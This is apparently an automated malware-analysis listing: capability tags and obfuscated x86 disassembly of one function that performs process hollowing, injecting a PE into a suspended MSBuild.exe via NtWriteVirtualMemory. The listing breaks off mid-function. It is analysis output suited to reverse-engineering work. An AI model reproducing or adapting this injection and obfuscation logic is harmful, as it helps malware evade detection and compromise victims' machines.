Function at 0x10007bb0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x16c
mov eax, dword [0x10064404]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
mov edx, ecx
sub edx, 0xb6b9170a
sub edx, 1
add edx, 0xb6b9170a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x16e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x16d], al
mov dword [ebp - 0x174], 0x8fe1b2f9
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x178], eax
sub eax, 0x80992407
je 0x1000cece
jmp 0x10007c2b
mov eax, dword [ebp - 0x178]
sub eax, 0x80c932e5
je 0x1000e12d
jmp 0x10007c41
mov eax, dword [ebp - 0x178]
sub eax, 0x8101efcf
je 0x1000d4ee
jmp 0x10007c57
mov eax, dword [ebp - 0x178]
sub eax, 0x8155d74b
je 0x1000ab5b
jmp 0x10007c6d
mov eax, dword [ebp - 0x178]
sub eax, 0x81e12c6d
je 0x1000e1c7
jmp 0x10007c83
mov eax, dword [ebp - 0x178]
sub eax, 0x83a58e1f
je 0x10009fce
jmp 0x10007c99
mov eax, dword [ebp - 0x178]
sub eax, 0x847325fd
je 0x10009cb7
jmp 0x10007caf
mov eax, dword [ebp - 0x178]
sub eax, 0x852c48fc
je 0x1000af88
jmp 0x10007cc5
mov eax, dword [ebp - 0x178]
sub eax, 0x85f4a83f
je 0x100099b8
jmp 0x10007cdb
mov eax, dword [ebp - 0x178]
sub eax, 0x88c88351
je 0x1000d979
jmp 0x10007cf1
mov eax, dword [ebp - 0x178]
sub eax, 0x8962e2a2
je 0x1000ba71
jmp 0x10007d07
mov eax, dword [ebp - 0x178]
sub eax, 0x8a02788c
je 0x1000bde3
jmp 0x10007d1d
mov eax, dword [ebp - 0x178]
sub eax, 0x8b421bb5
je 0x1000e6ce
jmp 0x10007d33
mov eax, dword [ebp - 0x178]
sub eax, 0x8c252c50
je 0x1000a1f0
jmp 0x10007d49
mov eax, dword [ebp - 0x178]
sub eax, 0x8c424eed
je 0x10009eb6
jmp 0x10007d5f
mov eax, dword [ebp - 0x178]
sub eax, 0x8c810aea
je 0x1000af97
jmp 0x10007d75
mov eax, dword [ebp - 0x178]
sub eax, 0x8e5046ca
je 0x1000e050
jmp 0x10007d8b
mov eax, dword [ebp - 0x178]
sub eax, 0x8fe1b2f9
je 0x100095cc
jmp 0x10007da1
mov eax, dword [ebp - 0x178]
sub eax, 0x8ff36b32
je 0x1000c9dc
jmp 0x10007db7
mov eax, dword [ebp - 0x178]
sub eax, 0x92c60036
je 0x1000ed1e
jmp 0x10007dcd
mov eax, dword [ebp - 0x178]
sub eax, 0x9461133e
je 0x1000d869
jmp 0x10007de3
mov eax, dword [ebp - 0x178]
sub eax, 0x949aba7c
je 0x1000c6bf
jmp 0x10007df9
mov eax, dword [ebp - 0x178]
sub eax, 0x9586fa34
je 0x1000e80e
jmp 0x10007e0f
mov eax, dword [ebp - 0x178]
sub eax, 0x95d1aef8
je 0x1000c2d5
jmp 0x10007e25
mov eax, dword [ebp - 0x178]
sub eax, 0x970ee34a
je 0x1000b455
jmp 0x10007e3b
mov eax, dword [ebp - 0x178]
sub eax, 0x98425946
je 0x1000db51
jmp 0x10007e51
mov eax, dword [ebp - 0x178]
sub eax, 0x99320ef7
je 0x10009958
jmp 0x10007e67
mov eax, dword [ebp - 0x178]
sub eax, 0x9948cc43
je 0x1000e88d
jmp 0x10007e7d
mov eax, dword [ebp - 0x178]
sub eax, 0x99abe307
je 0x1000a4c9
jmp 0x10007e93
mov eax, dword [ebp - 0x178]
sub eax, 0x99c23c6e
je 0x1000e65c
jmp 0x10007ea9
mov eax, dword [ebp - 0x178]
sub eax, 0x9b4323a1
je 0x1000ba11
jmp 0x10007ebf
mov eax, dword [ebp - 0x178]
sub eax, 0x9b67d882
je 0x1000dd34
jmp 0x10007ed5
mov eax, dword [ebp - 0x178]
sub eax, 0x9bb107df
je 0x10009bc3
jmp 0x10007eeb
mov eax, dword [ebp - 0x178]
sub eax, 0x9bbaa4b0
je 0x1000b2ae
jmp 0x10007f01
mov eax, dword [ebp - 0x178]
sub eax, 0x9c110dd4
je 0x1000ad3e
jmp 0x10007f17
mov eax, dword [ebp - 0x178]
sub eax, 0x9c88fb77
je 0x1000a6c0
jmp 0x10007f2d
mov eax, dword [ebp - 0x178]
sub eax, 0x9db090a4
je 0x1000e33a
jmp 0x10007f43
mov eax, dword [ebp - 0x178]
sub eax, 0x9e7d4298
je 0x1000d820
jmp 0x10007f59
mov eax, dword [ebp - 0x178]
sub eax, 0xa0329283
je 0x1000dcbb
jmp 0x10007f6f
mov eax, dword [ebp - 0x178]
sub eax, 0xa0b82a40
je 0x1000ae09
jmp 0x10007f85
mov eax, dword [ebp - 0x178]
sub eax, 0xa1482a96
je 0x1000cfef
jmp 0x10007f9b
mov eax, dword [ebp - 0x178]
sub eax, 0xa16ca402
je 0x1000e698
jmp 0x10007fb1
mov eax, dword [ebp - 0x178]
sub eax, 0xa1c410f9
je 0x1000bc2f
jmp 0x10007fc7
mov eax, dword [ebp - 0x178]
sub eax, 0xa1c5fd1d
je 0x1000b66b
jmp 0x10007fdd
mov eax, dword [ebp - 0x178]
sub eax, 0xa1c824f0
je 0x1000cac8
jmp 0x10007ff3
mov eax, dword [ebp - 0x178]
sub eax, 0xa42c7f1c
je 0x1000e59a
jmp 0x10008009
mov eax, dword [ebp - 0x178]
sub eax, 0xa4da7e17
je 0x1000ec07
jmp 0x1000801f
mov eax, dword [ebp - 0x178]
sub eax, 0xa5c0c36e
je 0x1000e87e
jmp 0x10008035
mov eax, dword [ebp - 0x178]
sub eax, 0xa5e56e9c
je 0x1000c2b0
jmp 0x1000804b
mov eax, dword [ebp - 0x178]
sub eax, 0xa6252179
je 0x1000cb3e
jmp 0x10008061
mov eax, dword [ebp - 0x178]
sub eax, 0xa68ef23b
je 0x1000ccd5
jmp 0x10008077
mov eax, dword [ebp - 0x178]
sub eax, 0xa72909e3
je 0x1000adc0
jmp 0x1000808d
mov eax, dword [ebp - 0x178]
sub eax, 0xa870d698
je 0x1000b4a6
jmp 0x100080a3
mov eax, dword [ebp - 0x178]
sub eax, 0xa8adfb12
je 0x1000dba3
jmp 0x100080b9
mov eax, dword [ebp - 0x178]
sub eax, 0xa9cb7473
je 0x1000dc32
jmp 0x100080cf
mov eax, dword [ebp - 0x178]
sub eax, 0xaad13628
je 0x1000a8f2
jmp 0x100080e5
mov eax, dword [ebp - 0x178]
sub eax, 0xab87fc43
je 0x1000bfe0
jmp 0x100080fb
mov eax, dword [ebp - 0x178]
sub eax, 0xac701ff4
je 0x1000c671
jmp 0x10008111
mov eax, dword [ebp - 0x178]
sub eax, 0xac79151d
je 0x1000d060
jmp 0x10008127
mov eax, dword [ebp - 0x178]
sub eax, 0xad5dee6d
je 0x1000c5ec
jmp 0x1000813d
mov eax, dword [ebp - 0x178]
sub eax, 0xadde37a8
je 0x10009eda
jmp 0x10008153
mov eax, dword [ebp - 0x178]
sub eax, 0xaeece19b
je 0x1000dbc4
jmp 0x10008169
mov eax, dword [ebp - 0x178]
sub eax, 0xb3346d3e
je 0x1000a0dc
jmp 0x1000817f
mov eax, dword [ebp - 0x178]
sub eax, 0xb6368932
je 0x1000e44b
jmp 0x10008195
mov eax, dword [ebp - 0x178]
sub eax, 0xb6913544
je 0x1000d036
mov al, byte [ebp - 0x16e]
mov cl, byte [ebp - 0x16d]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc12b9b89
mov ecx, 0x2167a73c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov dword [ebp - 0x174], 0xf087e5d6
jmp 0x1000ed37
mov eax, dword [ebp - 0xf4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100012f0
add esp, 4
lea eax, [0x1001a1d1]
sub esp, 4
mov dword [esp], eax
call fcn.100012f0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x44400
call fcn.10001010
add esp, 8
mov eax, dword [ebp - 0x16c]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xba769494
mov ecx, 0x2b4cd9e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov dword [ebp - 0x174], 0xbfd546c6
jmp 0x1000ed37
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x662d8a26
mov ecx, 0xd1b3f95e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov edx, dword [ebp - 0xdc]
mov eax, 0xebec967f
mov ecx, 0xadde37a8
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x15c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100106e0
add esp, 0xc
mov eax, dword [ebp - 0x158]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100106e0
add esp, 0xc
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x174], 0x719131cb
jmp 0x1000ed37
mov eax, dword [ebp - 0x154]
mov cl, byte [ebp - 0xcf]
mov byte [eax], cl
mov eax, dword [ebp - 0x150]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0x154]
mov al, byte [eax]
mov byte [ebp - 0xce], al
mov dword [ebp - 0x174], 0xbf444f58
jmp 0x1000ed37
mov dl, byte [ebp - 0xcd]
mov eax, 0x4fee921b
mov ecx, 0x8c252c50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x174], 0xb9c16d22
jmp 0x1000ed37
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
mov edx, ecx
add edx, 0xb2d972c5
sub edx, 1
sub edx, 0xb2d972c5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x62bb831c
mov ecx, 0xc18ac132
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0xc0], eax
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
mov edx, eax
sub edx, 0xceaf09a3
sub edx, 1
add edx, 0xceaf09a3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf598ee61
mov ecx, 0xe857b5fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x174], 0x616eb02b
jmp 0x1000ed37
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaeece19b
mov ecx, 0x6b0c856
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x134]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x134]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
sub eax, 0x96256302
add eax, ecx
add eax, 0x96256302
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x134]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x174], 0xa72909e3
jmp 0x1000ed37
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa0329283
mov ecx, 0xa0b82a40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0xa0]
mov edx, dword [eax + 0xc]
mov ecx, dword [ebp - 0xa4]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x15c]
mov esi, dword [eax]
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xa8]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa0329283
mov ecx, 0xbfeb3176
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov dword [ebp - 0x174], 0x8c810aea
jmp 0x1000ed37
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9b67d882
mov ecx, 0x1310b50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
mov edx, eax
sub edx, 0x11f24b93
sub edx, 1
add edx, 0x11f24b93
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf43df420
mov ecx, 0x3e90223
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
mov edx, eax
add edx, 0xdbf09eec
sub edx, 1
sub edx, 0xdbf09eec
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x29142c27
mov ecx, 0xa870d698
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov dword [ebp - 0x174], 0x3dc17888
jmp 0x1000ed37
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
mov edx, ecx
add edx, 0x53230a44
sub edx, 1
sub edx, 0x53230a44
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbd790972
mov ecx, 0xf5de9312
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov dword [ebp - 0x174], 0x44d3fb37
jmp 0x1000ed37
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
mov edx, eax
add edx, 0x104ac7ea
sub edx, 1
sub edx, 0x104ac7ea
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa16ca402
mov ecx, 0x909a45
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0x70]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x69], al
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3a50460
mov ecx, 0xb00e8c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0x68]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0x61], al
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2fca796e
mov ecx, 0x730eb004
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0x60]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x59], al
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
mov edx, eax
add edx, 0x958cb71f
sub edx, 1
sub edx, 0x958cb71f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b03798c
mov ecx, 0xc2c09b89
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x174], 0x95d1aef8
jmp 0x1000ed37
mov edx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
mov eax, 0x8ff36b32
mov ecx, 0x89b3d62
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
mov edx, ecx
sub edx, 0x2c6a5a2a
sub edx, 1
add edx, 0x2c6a5a2a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5e527acd
mov ecx, 0x5ebe60b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov edx, eax
mov eax, 0xfac443c5
mov ecx, 0x949aba7c
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61887e69
mov ecx, 0x2a122433
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
mov edx, ecx
sub edx, 0x77a5daca
sub edx, 1
add edx, 0x77a5daca
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9948cc43
mov ecx, 0x31d915eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
mov edx, ecx
sub edx, 0x5b3d3f8b
sub edx, 1
add edx, 0x5b3d3f8b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x56abfeb8
mov ecx, 0xa6252179
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x34], eax
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x56abfeb8
mov ecx, 0xdd228543
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x15c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x148]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x174], 0x3cb87b36
jmp 0x1000ed37
mov dword [ebp - 0x174], 0xd21ed933
jmp 0x1000ed37
mov dword [ebp - 0x174], 0x292bd35b
jmp 0x1000ed37
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81e12c6d
mov ecx, 0x41d50e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf2a2dc38
mov ecx, 0x3e791b9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x36308bb
mov ecx, 0x9461133e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d52119a
mov ecx, 0xfb98471e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov dword [ebp - 0x174], 0x750fb43b
jmp 0x1000ed37
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x174], 0xedf67d26
jmp 0x1000ed37
mov eax, dword [ebp - 0x148]
mov dword [eax], 0
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x174], 0xcedd4c4f
jmp 0x1000ed37
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcd828ea8
mov ecx, 0xa9cb7473
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0xb4]
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
